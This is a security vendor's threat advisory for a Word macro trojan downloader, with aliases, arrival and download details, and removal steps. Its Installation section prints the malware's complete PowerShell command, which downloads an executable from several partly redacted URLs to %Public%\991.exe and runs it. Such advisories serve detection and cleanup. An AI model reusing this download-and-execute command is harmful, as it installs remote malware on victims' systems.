Trojan.W97M.POWLOAD.TIHAOHBY
TrojanDownloader:O97M/Donoff (Microsoft); W97M.Downloader (Norton); VBA/TrojanDownloader.Agent.KCV trojan (Nod32)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: Yes
In the wild: Yes
OVERVIEW
Dropped by other malware, Downloaded from the Internet
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
As of this writing, the said sites are inaccessible.
TECHNICAL DETAILS
85,120 bytes
DOC
Yes
24 Sep 2018
Connects to URLs/IPs, Displays graphics/image
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- powershell $ctf=new-object Net.WebClient;$HRX='http://{BLOCKED}tmmpartners.com/wp-content/upgrade/QM6l6NaB5s@http://{BLOCKED}pesquisas.com.br/8oKnqiidQy@http://{BLOCKED}a.ma/tynNzPm2@http://{BLOCKED}ant.ir/gqyZzUW@http://{BLOCKED}art.ir/tByI3DhdP'.Split('@');$zDf = '991';$tXL=$env:public+'\'+$zDf+'.exe';foreach($ZSa in $HRX){try{$ctf.DownloadFile($ZSa, $tXL);Invoke-Item $tXL;break;}catch{}}
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}tmmpartners.com/wp-content/upgrade/QM6l6NaB5s
- http://{BLOCKED}pesquisas.com.br/8oKnqiidQy
- http://{BLOCKED}a.ma/tynNzPm2
- http://{BLOCKED}ant.ir/gqyZzUW
- http://{BLOCKED}art.ir/tByI3DhdP
It saves the files it downloads using the following names:
- %Public%\991.exe
(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)
As of this writing, the said sites are inaccessible.
Other Details
This Trojan does the following:
- Shows the following:
SOLUTION
9.850
14.844.05
01 Mar 2019
14.845.00
02 Mar 2019
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Identify and terminate files detected as Trojan.W97M.POWLOAD.TIHAOHBY
- Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
- If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
- If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.
Step 4
Search and delete this file
- %Public%\991.exe
Step 5
Enable the macro virus protection in Microsoft Office Applications
Step 6
Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.TIHAOHBY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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